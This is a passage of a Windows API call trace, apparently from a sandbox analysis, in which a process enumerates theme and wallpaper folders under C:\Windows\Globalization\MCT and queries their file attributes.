	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme", cAlternateFileName="")) returned 1
	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallpaper", cAlternateFileName="WALLPA~1")) returned 1
	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.659] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.659] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\rssfeed"), fInfoLevelId=0x0, lpFileInformation=0x12500698 | out: lpFileInformation=0x12500698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.659] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\rssfeed"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.659] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\RSSFeed\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe982be8d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.659] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.659] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.660] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\theme"), fInfoLevelId=0x0, lpFileInformation=0x125006e8 | out: lpFileInformation=0x125006e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.660] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Theme" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\theme"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.660] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Theme\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x97e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU.theme", cAlternateFileName="")) returned 1
	[0086.660] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.660] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.660] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Theme\\AU.theme" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\theme\\au.theme"), fInfoLevelId=0x0, lpFileInformation=0x12500788 | out: lpFileInformation=0x12500788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x97e)) returned 1
	[0086.660] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper"), fInfoLevelId=0x0, lpFileInformation=0x125007d8 | out: lpFileInformation=0x125007d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.711] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.711] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe9805c25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe640345d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe640345d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xc1f01, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU-wp1.jpg", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe640345d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe640345d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xa96e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU-wp2.jpg", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe640345d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe640345d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xb7d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU-wp3.jpg", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xb536f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU-wp4.jpg", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x61a36, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU-wp5.jpg", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xdc230, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU-wp6.jpg", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe6c358b5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe6c358b5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0086.714] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.714] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\AU-wp1.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\au-wp1.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12500a58 | out: lpFileInformation=0x12500a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe640345d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe640345d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xc1f01)) returned 1
	[0086.716] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\AU-wp2.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\au-wp2.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12500aa8 | out: lpFileInformation=0x12500aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe640345d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe640345d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xa96e5)) returned 1
	[0086.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\AU-wp3.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\au-wp3.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12500af8 | out: lpFileInformation=0x12500af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe640345d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe640345d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xb7d81)) returned 1
	[0086.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\AU-wp4.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\au-wp4.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12500b48 | out: lpFileInformation=0x12500b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xb536f)) returned 1
	[0086.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\AU-wp5.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\au-wp5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12500b98 | out: lpFileInformation=0x12500b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x61a36)) returned 1
	[0086.717] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\AU-wp6.jpg" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\au-wp6.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12500be8 | out: lpFileInformation=0x12500be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe64296c5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe649bdfd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe64296c5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xdc230)) returned 1
	[0086.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-AU\\Wallpaper\\desktop.ini" (normalized: "c:\\windows\\globalization\\mct\\mct-au\\wallpaper\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x12500c38 | out: lpFileInformation=0x12500c38*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe9340f25, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe6c358b5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe6c358b5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x51)) returned 1
	[0086.718] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA" (normalized: "c:\\windows\\globalization\\mct\\mct-ca"), fInfoLevelId=0x0, lpFileInformation=0x12500c88 | out: lpFileInformation=0x12500c88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf7d390f5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.718] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA" (normalized: "c:\\windows\\globalization\\mct\\mct-ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.718] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\*", lpFindFileData=0x124e7918 | out: lpFindFileData=0x124e7918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf7d390f5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.718] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf7d390f5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.718] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeed", cAlternateFileName="")) returned 1
	[0086.718] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme", cAlternateFileName="")) returned 1
	[0086.718] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallpaper", cAlternateFileName="WALLPA~1")) returned 1
	[0086.718] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7938 | out: lpFindFileData=0x124e7938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0086.718] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0086.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\rssfeed"), fInfoLevelId=0x0, lpFileInformation=0x12500dc8 | out: lpFileInformation=0x12500dc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0086.719] CreateFileW (lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\RSSFeed" (normalized: "c:\\windows\\globalization\\mct\\mct-ca\\rssfeed"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0086.719] FindFirstFileW (in: lpFileName="C:\\Windows\\Globalization\\MCT\\MCT-CA\\RSSFeed\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0086.719] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7d390f5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xf818b6bd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xf7d390f5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
